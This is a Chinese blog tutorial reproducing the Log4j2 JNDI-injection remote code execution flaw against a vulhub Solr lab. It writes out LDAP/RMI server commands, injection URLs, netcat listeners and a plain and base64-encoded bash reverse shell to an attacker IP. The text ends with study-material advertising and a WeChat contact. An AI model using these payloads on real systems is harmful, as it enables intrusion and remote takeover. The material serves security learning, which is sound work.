log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程

发布于:2024-04-10 ⋅ 阅读:(38) ⋅ 点赞:(0)

读者只要保证你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见

(56条消息) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客 Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客")

下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar,下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。

好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://刚才http服务的地址:端口号/#Exploit” 1389

本例中的命令为:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.200.131:4444/#Exploit” 1389

接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:

nc -lvvp 7777

最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:

${jndi:ldap://192.168.200.131:1389/Exploit}

完整的url为:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

也可以用Burp抓包改包,但由于是get请求,直接输入url就行了。

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地址:端口号),应该就成功了,访问的页面回显如下:

攻击机启动的LDAP服务的终端显示如下:

攻击机开启的HTTP服务的终端显示如下:

可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:

已经可以在攻击机执行任何代码了:

 这样就实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

方法二:直接利用现成的JNDI注入工具

这种方法更为便捷,属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)")

下载之后还要用maven生成.jar可执行文件,在pom.xml目录下运行:mvn clean package -DskipTests   如果没有mvn,参阅

(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客")

如果build成功,会生成一个target目录,里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar

使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。

与方法一类似,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为(一会我们会在攻击机的一个终端监听6666端口):

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

还是要对这个命令进行base64编码,网址再贴一遍:

Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)")

编码后的结果为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “构造反弹shell的命令的base64编码” -A “攻击机ip”

本例为:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.200.131”

运行之后的终端显示如下:

可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。

然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):

nc –lvvp 6666

最后一步和方法一一样,构造payload,由于是GET方式,浏览器访问以下任意一个url即可:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}

用rmi应该也行:

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}

这里以访问LDAP的Exploit为例:

JNDI注入工具的终端显示如下:

打开刚才监听的终端,成功获取了反弹shell:

此时已经可以执行任意命令了:

这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github链接:WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改

这个工具是在攻击机的对应目录运行:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-F2bxye82-1712687886351)]